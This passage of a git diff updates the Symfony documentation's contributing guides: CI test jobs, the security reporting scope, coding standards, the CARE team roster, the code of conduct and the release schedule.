update the Psalm baseline nor add ``@psalm-`` +annotations. + +After the `Psalm phar is installed`_, the analysis can be run locally with: + +.. code-block:: terminal + + $ psalm.phar src/Symfony/Component/Workflow + +Automated Tests +~~~~~~~~~~~~~~~ + +A series of automated tests will run when submitting the pull request. +These test the code under different conditions, to be sure nothing +important is broken. Test failures can be unrelated to your changes. If you +think this is the case, you can check if the target branch has the same +errors and leave a comment on your PR. + +Otherwise, the test failure might be caused by your changes. The following +test scenarios run on each change: + +``PHPUnit / Tests`` + This job runs on Ubuntu using multiple PHP versions (each in their + own job). These jobs run the testsuite just like you would do locally. + + A failure in these jobs often indicates a bug in the code. + +``PHPUnit / Tests (high-deps)`` + This job checks each package (bridge, bundle or component) in ``src/`` + individually by calling ``composer update`` and ``phpunit`` from inside + each package. + + A failure in this job often indicates a missing package in the + ``composer.json`` of the failing package (e.g. + ``src/Symfony/Bundle/FrameworkBundle/composer.json``). + + This job also runs relevant packages using a "flipped" test (indicated + by a ``^`` suffix in the package name). These tests checkout the + previous major release (e.g. ``5.4`` for a pull requests on ``6.3``) + and run the tests with your branch as dependency. + + A failure in these flipped tests indicate a backwards compatibility + break in your changes. + +``PHPUnit / Tests (low-deps)`` + This job also checks each package individually, but then uses + ``composer update --prefer-lowest`` before running the tests. + + A failure in this job often indicates a wrong version range or a + missing package in the ``composer.json`` of the failing package. + +``continuous-integration/appveyor/pr`` + This job runs on Windows using the x86 architecture and the lowest + supported PHP version. All tests first run without extra PHP + extensions. Then, all skipped tests are run using all required PHP + extensions. + + A failure in this job often indicate that your changes do not support + Windows, x86 or PHP with minimal extensions. + +``Integration / Tests`` + Integration tests require other services (e.g. Redis or RabbitMQ) to + run. This job only runs the tests in the ``integration`` PHPUnit group. + + A failure in this job indicates a bug in the communication with these + services. + +``PHPUnit / Tests (experimental)`` + This job always passes (even with failing tests) and is used by the + core team to prepare for the upcoming PHP versions. + .. _rework-your-patch: Rework your Pull Request ~~~~~~~~~~~~~~~~~~~~~~~~ Based on the feedback on the pull request, you might need to rework your -PR. Before re-submitting the PR, rebase with ``upstream/master`` or -``upstream/3.4``, don't merge; and force the push to the origin: +PR. Before re-submitting the PR, rebase with ``upstream/6.x`` or +``upstream/5.4``, don't merge; and force the push to the origin: .. code-block:: terminal - $ git rebase -f upstream/master + $ git rebase -f upstream/6.x $ git push --force origin BRANCH_NAME .. note:: @@ -423,13 +527,15 @@ before merging. .. _ProGit: https://git-scm.com/book .. _GitHub: https://github.com/join -.. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files +.. _`GitHub's documentation`: https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files .. _Symfony repository: https://github.com/symfony/symfony +.. _Symfony releases page: https://symfony.com/releases#maintained-symfony-branches .. _`documentation repository`: https://github.com/symfony/symfony-docs .. _`fabbot`: https://fabbot.io +.. _`Psalm`: https://psalm.dev/ .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/ .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/ .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+ .. _`Symfony Slack`: https://symfony.com/slack-invite -.. _`Travis-CI`: https://travis-ci.org/symfony/symfony -.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests +.. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/ +.. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst index 6efae2a8ee8..c2208b70b09 100644 --- a/contributing/code/reproducer.rst +++ b/contributing/code/reproducer.rst @@ -2,8 +2,8 @@ Creating a Bug Reproducer ========================= The main Symfony code repository receives thousands of issues reports per year. -Some of those issues are easy to understand and the Symfony Core developers can -fix them without any other information. However, other issues are much harder to +Some of those issues are easy to understand and can +be fixed without any other information. However, other issues are much harder to understand because developers can't reproduce them in their computers. That's when we'll ask you to create a "bug reproducer", which is the minimum amount of code needed to make the bug appear when executed. @@ -65,8 +65,8 @@ to a route definition. Then, after creating your project: of controllers, actions, etc. as in your original application. #. Create a small controller and add your routing definition that shows the bug. #. Don't create or modify any other file. -#. Install the :doc:`local web server </setup/symfony_server>` provided by Symfony - and use the ``symfony server:start`` command to browse to the new route and +#. Install the :doc:`Symfony CLI </setup/symfony_cli>` tool and use the + ``symfony server:start`` command to browse to the new route and see if the bug appears or not. #. If you can see the bug, you're done and you can already share the code with us. #. If you can't see the bug, you must keep making small changes. For example, if diff --git a/contributing/code/security.rst b/contributing/code/security.rst index 32401d658f9..ba8949971a4 100644 --- a/contributing/code/security.rst +++ b/contributing/code/security.rst @@ -13,6 +13,32 @@ bug tracker and don't publish it publicly. Instead, all security issues must be sent to **security [at] symfony.com**. Emails sent to this address are forwarded to the Symfony core team private mailing-list. +The following issues are not considered security issues and should be handled +as regular bug fixes (if you have any doubts, don't hesitate to send us an +email for confirmation): + +* Any security issues found in debug tools that must never be enabled in + production (including the web profiler or anything enabled when ``APP_DEBUG`` + is set to ``true`` or ``APP_ENV`` set to anything but ``prod``); + +* Any security issues found in classes provided to help for testing that should + never be used in production (like for instance mock classes that contain + ``Mock`` in their name or classes in the ``Test`` namespace); + +* Any fix that can be classified as **security hardening** like route + enumeration, login throttling bypasses, denial of service attacks, timing + attacks, or lack of ``SensitiveParameter`` attributes. + +In any case, the core team has the final decision on which issues are +considered security vulnerabilities. + +Security Bug Bounties +--------------------- + +Symfony is an Open-Source project where most of the work is done by volunteers. +We appreciate that developers are trying to find security issues in Symfony and +report them responsibly, but we are currently unable to pay bug bounties. + Resolving Process ----------------- @@ -130,7 +156,7 @@ score for Impact is capped at 6. Each area is scored between 0 and 4.* on an end-users system, or the server that it runs on? (0-4) * Availability: Is the availability of a service or application affected? Is it reduced availability or total loss of availability of a service / - application? Availability includes networked services (e.g., databases) or + application? Availability includes networked services (e.g. databases) or resources such as consumption of network bandwidth, processor cycles, or disk space. (0-4) diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst index b0ad81c77cd..6fd6987d4e3 100644 --- a/contributing/code/stack_trace.rst +++ b/contributing/code/stack_trace.rst @@ -56,7 +56,7 @@ things for you beforehand, like routing or access control. Symfony being both a framework and library of components, it calls your code and then your code might call it. This means you will always have at least 2 parts, very often 3 in your stack traces when using Symfony: -a part that starts in one of the entrypoints of the framework +a part that starts in one of the entry points of the framework (``bin/console`` or ``public/index.php`` in most cases), and ends when reaching your code, most times in a command or in a controller found under ``src``. Then, either the exception is thrown in your code or in @@ -75,7 +75,7 @@ Next, you can have a look at what packages are involved. Files under library and ``acme/router`` the Composer package. If you plan on reporting the bug, make sure to report it to the library throwing the exception. ``composer home acme/router`` should lead you to the right -place for that. As Symfony is a monorepository, use ``composer home +place for that. As Symfony is a mono-repository, use ``composer home symfony/symfony`` when reporting a bug for any component. Getting Stack Traces with Symfony @@ -91,8 +91,8 @@ Several things need to be paid attention to when picking a stack trace from your development environment through a web browser: 1. Are there several exceptions? If yes, the most interesting one is - often exception 1/n which, is shown *last* in the example below (it - is the one marked as exception [1/2]). + often exception 1/n which, is shown *last* in the default exception page + (it is the one marked as ``exception [1/2]`` in the below example). 2. Under the "Stack Traces" tab, you will find exceptions in plain text, so that you can easily share them in e.g. bug reports. Make sure to **remove any sensitive information** before doing so. @@ -102,14 +102,14 @@ from your development environment through a web browser: are getting, but are not what the term "stack trace" refers to. .. image:: /_images/contributing/code/stack-trace.gif - :align: center - :class: with-browser + :alt: The default Symfony exception page with the "Exceptions", "Logs" and "Stack Traces" tabs. + :class: with-browser Since stack traces may contain sensitive data, they should not be exposed in production. Getting a stack trace from your production environment, although more involving, is still possible with solutions that include but are not limited to sending them to an email address -with monolog. +with Monolog. Stack Traces in the CLI ~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst index 88e015dc961..ebfde7dfab4 100644 --- a/contributing/code/standards.rst +++ b/contributing/code/standards.rst @@ -5,8 +5,8 @@ Symfony code is contributed by thousands of developers around the world. To make every piece of code look and feel familiar, Symfony defines some coding standards that all contributions must follow. -These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_ and `PSR-4`_ -standards, so you may already know most of them. +These Symfony coding standards are based on the `PSR-1`_, `PSR-2`_, `PSR-4`_ +and `PSR-12`_ standards, so you may already know most of them. Making your Code Follow the Coding Standards -------------------------------------------- @@ -47,30 +47,24 @@ short example containing most features described below:: */ class FooBar { - const SOME_CONST = 42; + public const SOME_CONST = 42; - /** - * @var string - */ - private $fooBar; - - private $qux; + private string $fooBar; /** - * @param string $dummy Some argument description + * @param $dummy some argument description */ - public function __construct($dummy, Qux $qux) - { + public function __construct( + string $dummy, + private Qux $qux, + ) { $this->fooBar = $this->transformText($dummy); - $this->qux = $qux; } /** - * @return string - * * @deprecated */ - public function someDeprecatedMethod() + public function someDeprecatedMethod(): string { trigger_deprecation('symfony/package-name', '5.1', 'The %s() method is deprecated, use Acme\Baz::someMethod() instead.', __METHOD__); @@ -78,16 +72,13 @@ short example containing most features described below:: } /** - * Transforms the input given as first argument. - * - * @param bool|string $dummy Some argument description - * @param array $options An options collection to be used within the transformation + * Transforms the input given as the first argument. * - * @return string|null The transformed input + * @param $options an options collection to be used within the transformation * - * @throws \RuntimeException When an invalid option is provided + * @throws \RuntimeException when an invalid option is provided */ - private function transformText($dummy, array $options = []) + private function transformText(bool|string $dummy, array $options = []): ?string { $defaultOptions = [ 'some_default' => 'values', @@ -100,16 +91,13 @@ short example containing most features described below:: } } - $mergedOptions = array_merge( - $defaultOptions, - $options - ); + $mergedOptions = array_merge($defaultOptions, $options); if (true === $dummy) { return 'something'; } - if (is_string($dummy)) { + if (\is_string($dummy)) { if ('values' === $mergedOptions['some_default']) { return substr($dummy, 0, 5); } @@ -122,11 +110,8 @@ short example containing most features described below:: /** * Performs some basic operations for a given value. - * - * @param mixed $value Some value to operate against - * @param bool $theSwitch Some switch to control the method's flow */ - private function performOperations($value = null, $theSwitch = false) + private function performOperations(mixed $value = null, bool $theSwitch = false): void { if (!$theSwitch) { return; @@ -162,6 +147,8 @@ Structure * Use ``return null;`` when a function explicitly returns ``null`` values and use ``return;`` when the function returns ``void`` values; +* Do not add the ``void`` return type to methods in tests; + * Use braces to indicate control structure body regardless of the number of statements it contains; @@ -180,13 +167,34 @@ Structure to increase readability; * Declare all the arguments on the same line as the method/function name, no - matter how many arguments there are; + matter how many arguments there are. The only exception are constructor methods + using `constructor property promotion`_, where each parameter must be on a new + line with `trailing comma`_; * Use parentheses when instantiating classes regardless of the number of arguments the constructor has; * Exception and error message strings must be concatenated using :phpfunction:`sprintf`; +* Exception and error messages must not contain backticks, + even when referring to a technical element (such as a method or variable name). + Double quotes must be used at all time: + + .. code-block:: diff + + - Expected `foo` option to be one of ... + + Expected "foo" option to be one of ... + +* Exception and error messages must start with a capital letter and finish with a dot ``.``; + +* Exception, error and deprecation messages containing a class name must + use ``get_debug_type()`` instead of ``::class`` to retrieve it: + + .. code-block:: diff + + - throw new \Exception(sprintf('Command "%s" failed.', $command::class)); + + throw new \Exception(sprintf('Command "%s" failed.', get_debug_type($command))); + * Do not use ``else``, ``elseif``, ``break`` after ``if`` and ``case`` conditions which return or throw something; @@ -203,11 +211,15 @@ Naming Conventions * Use `camelCase`_ for PHP variables, function and method names, arguments (e.g. ``$acceptableContentTypes``, ``hasSession()``); -* Use `snake_case`_ for configuration parameters and Twig template variables - (e.g. ``framework.csrf_protection``, ``http_status_code``); +* Use `snake_case`_ for configuration parameters, route names and Twig template + variables (e.g. ``framework.csrf_protection``, ``http_status_code``); -* Use namespaces for all PHP classes and `UpperCamelCase`_ for their names (e.g. - ``ConsoleLogger``); +* Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``); + +* Use `UpperCamelCase`_ for enumeration cases (e.g. ``InputArgumentMode::IsArray``); + +* Use namespaces for all PHP classes, interfaces, traits and enums and + `UpperCamelCase`_ for their names (e.g. ``ConsoleLogger``); * Prefix all abstract classes with ``Abstract`` except PHPUnit ``*TestCase``. Please note some early Symfony classes do not follow this convention and @@ -218,8 +230,17 @@ Naming Conventions * Suffix traits with ``Trait``; +* Don't use a dedicated suffix for classes or enumerations (e.g. like ``Class`` + or ``Enum``), except for the cases listed below. + * Suffix exceptions with ``Exception``; +* Prefix PHP attributes that relate to service configuration with ``As`` + (e.g. ``#[AsCommand]``, ``#[AsEventListener]``, etc.); + +* Prefix PHP attributes that relate to controller arguments with ``Map`` + (e.g. ``#[MapEntity]``, ``#[MapCurrentUser]``, etc.); + * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and snake case for naming Twig templates and web assets (``section_layout.html.twig``, ``index.scss``); @@ -253,24 +274,33 @@ Service Naming Conventions Documentation ~~~~~~~~~~~~~ -* Add PHPDoc blocks for all classes, methods, and functions (though you may - be asked to remove PHPDoc that do not add value); +* Add PHPDoc blocks for classes, methods, and functions only when they add + relevant information that does not duplicate the name, native type + declaration or context (e.g. ``instanceof`` checks); + +* Only use annotations and types defined in `the PHPDoc reference`_. In + order to improve types for static analysis, the following annotations are + also allowed: + + * `Generics`_, with the exception of ``@template-covariant``. + * `Conditional return types`_ using the vendor-prefixed ``@psalm-return``; + * `Class constants`_; + * `Callable types`_; * Group annotations together so that annotations of the same type immediately follow each other, and annotations of a different type are separated by a single blank line; -* Omit the ``@return`` tag if the method does not return anything; - -* The ``@package`` and ``@subpackage`` annotations are not used; +* Omit the ``@return`` annotation if the method does not return anything; -* Don't inline PHPDoc blocks, even when they contain just one tag (e.g. don't - put ``/** {@inheritdoc} */`` in a single line); +* Don't use one-line PHPDoc blocks on classes, methods and functions, even + when they contain just one annotation (e.g. don't put ``/** {@inheritdoc} */`` + in a single line); * When adding a new class or when making significant changes to an existing class, an ``@author`` tag with personal contact information may be added, or expanded. Please note it is possible to have the personal contact information updated or - removed per request to the :doc:`core team </contributing/code/core_team>`. + removed per request to the :doc:`core team </contributing/core_team>`. License ~~~~~~~ @@ -283,8 +313,16 @@ License .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/ .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/ .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/ +.. _`PSR-12`: https://www.php-fig.org/psr/psr-12/ .. _`identical comparison`: https://www.php.net/manual/en/language.operators.comparison.php .. _`Yoda conditions`: https://en.wikipedia.org/wiki/Yoda_conditions .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case .. _`UpperCamelCase`: https://en.wikipedia.org/wiki/Camel_case .. _`snake_case`: https://en.wikipedia.org/wiki/Snake_case +.. _`constructor property promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion +.. _`trailing comma`: https://wiki.php.net/rfc/trailing_comma_in_parameter_list +.. _`the PHPDoc reference`: https://docs.phpdoc.org/3.0/guide/references/phpdoc/index.html +.. _`Conditional return types`: https://psalm.dev/docs/annotating_code/type_syntax/conditional_types/ +.. _`Class constants`: https://psalm.dev/docs/annotating_code/type_syntax/value_types/#regular-class-constants +.. _`Callable types`: https://psalm.dev/docs/annotating_code/type_syntax/callable_types/ +.. _`Generics`: https://psalm.dev/docs/annotating_code/templated_annotations/ diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst index 3ba250a50bb..060e3eda02b 100644 --- a/contributing/code/tests.rst +++ b/contributing/code/tests.rst @@ -3,7 +3,7 @@ Running Symfony Tests ===================== -The Symfony project uses a third-party service which automatically runs tests +The Symfony project uses a CI (Continuous Integration) service which automatically runs tests for any submitted :doc:`patch <pull_requests>`. If the new code breaks any test, the pull request will show an error message with a link to the full error details. @@ -24,6 +24,16 @@ tests, such as Doctrine, Twig and Monolog. To do so, $ composer update +.. tip:: + + Dependencies might fail to update and in this case Composer might need you to + tell it what Symfony version you are working on. + To do so set ``COMPOSER_ROOT_VERSION`` variable, e.g.: + + .. code-block:: terminal + + $ COMPOSER_ROOT_VERSION=7.2.x-dev composer update + .. _running: Running the Tests @@ -55,7 +65,7 @@ what's going on and if the tests are broken because of the new code. to see colored test results. .. _`install Composer`: https://getcomposer.org/download/ -.. _Cmder: https://cmder.net/ +.. _Cmder: https://cmder.app/ .. _ConEmu: https://conemu.github.io/ .. _ANSICON: https://github.com/adoxa/ansicon/releases .. _Mintty: https://mintty.github.io/ diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst index 8f32d5befd1..1b15850da39 100644 --- a/contributing/code_of_conduct/care_team.rst +++ b/contributing/code_of_conduct/care_team.rst @@ -19,35 +19,42 @@ the CARE team or if you prefer contact only individual members of the CARE team. Members ------- -Here are all the members of the CARE team (in alphabetic order). You can contact -any of them directly using the contact details below or you can also contact all -of them at once by emailing **care@symfony.com**: +Here are all the members of the CARE team (sorted alphabetically by surname). +You can contact any of them directly using the contact details below or you can +also contact all of them at once by emailing ** care@symfony.com **. -* **Emilie Lorenzo** +* **Timo Bakx** - * *E-mail*: emilie.lorenzo [at] symfony.com - * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_ - * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_ + * *E-mail*: timobakx [at] gmail.com + * *Twitter*: `@TimoBakx <https://twitter.com/TimoBakx>`_ + * *SymfonyConnect*: `timobakx <https://connect.symfony.com/profile/timobakx>`_ + * *SymfonySlack*: `@Timo Bakx <https://symfony.com/slack>`_ + +* **Zan Baldwin** + + * *E-mail*: hello [at] zanbaldwin.com + * *Twitter*: `@ZanBaldwin <https://twitter.com/ZanBaldwin>`_ + * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_ + * *SymfonySlack*: `@Zan <https://symfony.com/slack>`_ + +* **Valentine Boineau** + + * *E-mail*: valentine.boineau [at] gmail.com + * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_ + * *SymfonyConnect*: `valentineboineau <https://connect.symfony.com/profile/valentineboineau>`_ + * *SymfonySlack*: `@Valentine <https://symfony.com/slack>`_ * **Tobias Nyholm** * *E-mail*: tobias.nyholm [at] gmail.com * *Twitter*: `@tobiasnyholm <https://twitter.com/tobiasnyholm>`_ * *SymfonyConnect*: `tobias <https://connect.symfony.com/profile/tobias>`_ + * *SymfonySlack*: `@Tobias Nyholm <https://symfony.com/slack>`_ About the CARE Team ------------------- -The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CARE +The :doc:`Symfony project leader </contributing/core_team>` appoints the CARE team with candidates they see fit. The CARE team will consist of at least 3 people. The team should be representing as many demographics as possible, ideally from different employers. - -CARE Team Transparency Reports ------------------------------- - -The CARE team publishes a transparency report at the end of each year: - -* `Symfony Code of Conduct Transparency Report 2018`_. - -.. _`Symfony Code of Conduct Transparency Report 2018`: https://symfony.com/blog/symfony-code-of-conduct-transparency-report-2018 diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst index b4fddcb9bc2..ce14dd5ad0e 100644 --- a/contributing/code_of_conduct/code_of_conduct.rst +++ b/contributing/code_of_conduct/code_of_conduct.rst @@ -4,12 +4,15 @@ Code of Conduct Our Pledge ---------- -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnic origin, gender identity and expression, level of experience, -education, socio-economic status, nationality, personal appearance, -religion, or sexual identity and orientation. +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socio-economic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. Our Standards ------------- @@ -17,67 +20,115 @@ Our Standards Examples of behavior that contributes to creating a positive environment include: -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members +* Demonstrating empathy and kindness toward other people +* Being respectful of differing opinions, viewpoints, and experiences +* Giving and gracefully accepting constructive feedback +* Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +* Focusing on what is best not just for us as individuals, but for the overall + community -Examples of unacceptable behavior by participants include: +Examples of unacceptable behavior include: -* The use of sexualized language or imagery and unwelcome sexual attention or - advances -* Trolling, insulting/derogatory comments, and personal or political attacks +* The use of sexualized language or imagery, and sexual attention or advances of + any kind +* Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission +* Publishing others' private information, such as a physical or email address, + without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting Our Responsibilities -------------------- -:doc:`CoC Active Response Ensurers, or CARE </contributing/code_of_conduct/care_team>`, -are responsible for clarifying the standards of acceptable -behavior and are expected to take appropriate and fair corrective action in -response to any instances of unacceptable behavior. +:doc:`CoC Active Response Ensurers (CARE) team members </contributing/code_of_conduct/care_team>` +are responsible for clarifying and enforcing our standards of acceptable +behavior and will take appropriate and fair corrective action in response to any +behavior that they deem inappropriate, threatening, offensive, or harmful. -CARE team members have the right and responsibility to remove, edit, or -reject comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct, or to ban temporarily or -permanently any contributor for other behaviors that they deem inappropriate, -threatening, offensive, or harmful. +CARE team members have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. Scope ----- -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by CARE team members. +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. Enforcement ----------- Instances of abusive, harassing, or otherwise unacceptable behavior -:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>` -by contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`. -All complaints will be reviewed and investigated and will result in a response that -is deemed necessary and appropriate to the circumstances. The CARE team is -obligated to maintain confidentiality with regard to the reporter of an incident. -Further details of specific enforcement policies may be posted separately. +:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>` by +contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`. +All complaints will be reviewed and investigated promptly and fairly. + +CARE team members are obligated to respect the privacy and security of the +reporter of any incident. + +Enforcement Guidelines +---------------------- + +The :doc:`CARE team members </contributing/code_of_conduct/care_team>` will +follow these Community Impact Guidelines in determining the consequences for any +action they deem in violation of this Code of Conduct: + +1. Correction +~~~~~~~~~~~~~ + +Community Impact: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +Consequence: A private, written warning from a CARE team member, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +2. Warning +~~~~~~~~~~ -CARE team members who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by the -:doc:`core team </contributing/code/core_team>`. +Community Impact: A violation through a single incident or series of actions. + +Consequence: A warning with consequences for continued behavior. No interaction +with the people involved, including unsolicited interaction with those enforcing +the Code of Conduct, for a specified period of time. This includes avoiding +interactions in community spaces as well as external channels like social media. +Violating these terms may lead to a temporary or permanent ban. + +3. Temporary Ban +~~~~~~~~~~~~~~~~ + +Community Impact: A serious violation of community standards, including +sustained inappropriate behavior. + +Consequence: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +4. Permanent Ban +~~~~~~~~~~~~~~~~ + +Community Impact: Demonstrating a pattern of violation of community standards, +including sustained inappropriate behavior, harassment of an individual, or +aggression toward or disparagement of classes of individuals. + +Consequence: A permanent ban from any sort of public interaction within the +community. Attribution ----------- -This Code of Conduct is adapted from the `Contributor Covenant`_, version 1.4, -available at https://www.contributor-covenant.org/version/1/4/code-of-conduct/ +This Code of Conduct is adapted from the `Contributor Covenant`_, version 2.1, +available at https://www.contributor-covenant.org/version/2/1/code_of_conduct.html + +Community Impact Guidelines were inspired by `Mozilla's code of conduct enforcement ladder`_. Related Documents ----------------- @@ -90,3 +141,4 @@ Related Documents concrete_example_document .. _Contributor Covenant: https://www.contributor-covenant.org +.. _Mozilla's code of conduct enforcement ladder: https://github.com/mozilla/diversity diff --git a/contributing/code_of_conduct/concrete_example_document.rst b/contributing/code_of_conduct/concrete_example_document.rst index ddd1c9b84c8..227a41df4a8 100644 --- a/contributing/code_of_conduct/concrete_example_document.rst +++ b/contributing/code_of_conduct/concrete_example_document.rst @@ -9,7 +9,7 @@ according to the Symfony code of conduct. Concrete Examples ----------------- -* Unwelcome comments regarding a person’s lifestyle choices and practices, +* Unwelcome comments regarding a person's lifestyle choices and practices, including those related to food, health, parenting, drugs, and employment; * Deliberate misgendering or use of `dead names`_ (The birth name of a person who has since changed their name, often a transgender person); @@ -21,7 +21,9 @@ Concrete Examples * Pattern of inappropriate social contact, such as requesting/assuming inappropriate levels of intimacy with others; * Continued one-on-one communication after requests to cease; -* Putting down people based on their technology choices or their work. +* Putting down people based on their technology choices or their work; +* Taking photographs of a conference attendee or speaker in the foreground and + publishing them without their permission. The original list is inspired and modified from `geek feminism`_ and confirmed by experiences from PHPWomen. diff --git a/contributing/code_of_conduct/reporting_guidelines.rst b/contributing/code_of_conduct/reporting_guidelines.rst index 63c4e820ce6..a00394bce65 100644 --- a/contributing/code_of_conduct/reporting_guidelines.rst +++ b/contributing/code_of_conduct/reporting_guidelines.rst @@ -76,7 +76,7 @@ members will not be included in any communication on the incidents as well as re created related to the incidents. CARE team members are expected to inform the CARE team and the reporters -in case of conflicts on interest and recuse themselves if this is deemed a problem. +in case of a conflict of interest, and recuse themselves if this is deemed to be a problem. Appealing the response ---------------------- @@ -93,6 +93,6 @@ Reporting Guidelines derived from those of the `Stumptown Syndicate`_ and the Adopted by `Symfony`_ organizers on 21 February 2018. -.. _`Stumptown Syndicate`: http://stumptownsyndicate.org/code-of-conduct/reporting-guidelines/ +.. _`Stumptown Syndicate`: https://github.com/stumpsyn/policies/blob/master/reporting_guidelines.md/ .. _`Django Software Foundation`: https://www.djangoproject.com/conduct/reporting/ .. _`Symfony`: https://symfony.com diff --git a/contributing/community/mentoring.rst b/contributing/community/mentoring.rst index 040a6ee90f0..511a61e6e82 100644 --- a/contributing/community/mentoring.rst +++ b/contributing/community/mentoring.rst @@ -7,7 +7,7 @@ it might still seem overwhelming - contributing can be complex! For this purpose we created a dedicated `Symfony Slack`_ channel called `#mentoring`_ to connect new contributors to long-time contributors. This is a great way to get one-on-one advice on the entire process. These long-time contributors -do really want to help new contributors - so feel free to ask anything! +truly want to help new contributors - so feel free to ask anything! .. _`Symfony Slack`: https://symfony.com/slack-invite .. _`#mentoring`: https://symfony-devs.slack.com/messages/mentoring diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst index 260a357c596..2c5a796e9b5 100644 --- a/contributing/community/releases.rst +++ b/contributing/community/releases.rst @@ -7,18 +7,19 @@ release and maintain its different versions. Symfony releases follow the `semantic versioning`_ strategy and they are published through a *time-based model*: -* A new **Symfony patch version** (e.g. 4.4.9, 5.0.9, 5.1.1) comes out roughly every +* A new **Symfony patch version** (e.g. 5.4.12, 6.1.9) comes out roughly every month. It only contains bug fixes, so you can safely upgrade your applications; -* A new **Symfony minor version** (e.g. 4.4, 5.1) comes out every *six months*: - one in *May* and one in *November*. It contains bug fixes and new features, but - it doesn't include any breaking change, so you can safely upgrade your applications; -* A new **Symfony major version** (e.g. 4.0, 5.0, 6.0) comes out every *two years*. - It can contain breaking changes, so you may need to do some changes in your - applications before upgrading. +* A new **Symfony minor version** (e.g. 5.4, 6.0, 6.1) comes out every *six months*: + one in *May* and one in *November*. It contains bug fixes and new features, + can contain new deprecations but it doesn't include any breaking change, + so you can safely upgrade your applications; +* A new **Symfony major version** (e.g. 5.0, 6.0, 7.0) comes out every *two years* + in November of odd years (e.g. 2019, 2021, 2023). It can contain breaking changes, + so you may need to do some changes in your applications before upgrading. .. tip:: - `Subscribe to Symfony Roadmap notifications`_ to receive an email when a new + `Subscribe to Symfony Release notifications`_ to receive an email when a new Symfony version is published or when a Symfony version reaches its end of life. .. _contributing-release-development: @@ -26,6 +27,13 @@ published through a *time-based model*: Development ----------- +.. note:: + + The Symfony project is an open-source community-driven development framework. + There is no roadmap written or defined in advance. Every feature request + may or may not be developed in future versions based on the community. + Symfony Core Team members can help move things forward if there's enough interest. + The full development period for any major or minor version lasts six months and is divided into two phases: @@ -42,7 +50,7 @@ final release. .. tip:: - Check out the `Symfony Roadmap`_ to learn more about any specific version. + Check out the `Symfony Release`_ to learn more about any specific version. .. _contributing-release-maintenance: .. _symfony-versions: @@ -53,7 +61,7 @@ Maintenance Starting from the Symfony 3.x branch, the number of minor versions is limited to five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch -(e.g. 3.4, 4.4, 5.4) is considered a **long-term support version** and the other +(e.g. 5.4, 6.4) is considered a **long-term support version** and the other ones are considered **standard versions**: ======================= ===================== ================================ @@ -80,27 +88,49 @@ of Symfony to the next one. When a feature implementation cannot be replaced with a better one without breaking backward compatibility, Symfony deprecates the old implementation and -adds a new preferred one along side. Read the +adds a new preferred one alongside. Read the :ref:`conventions <contributing-code-conventions-deprecations>` document to learn more about how deprecations are handled in Symfony. .. _major-version-development: This deprecation policy also requires a custom development process for major -versions 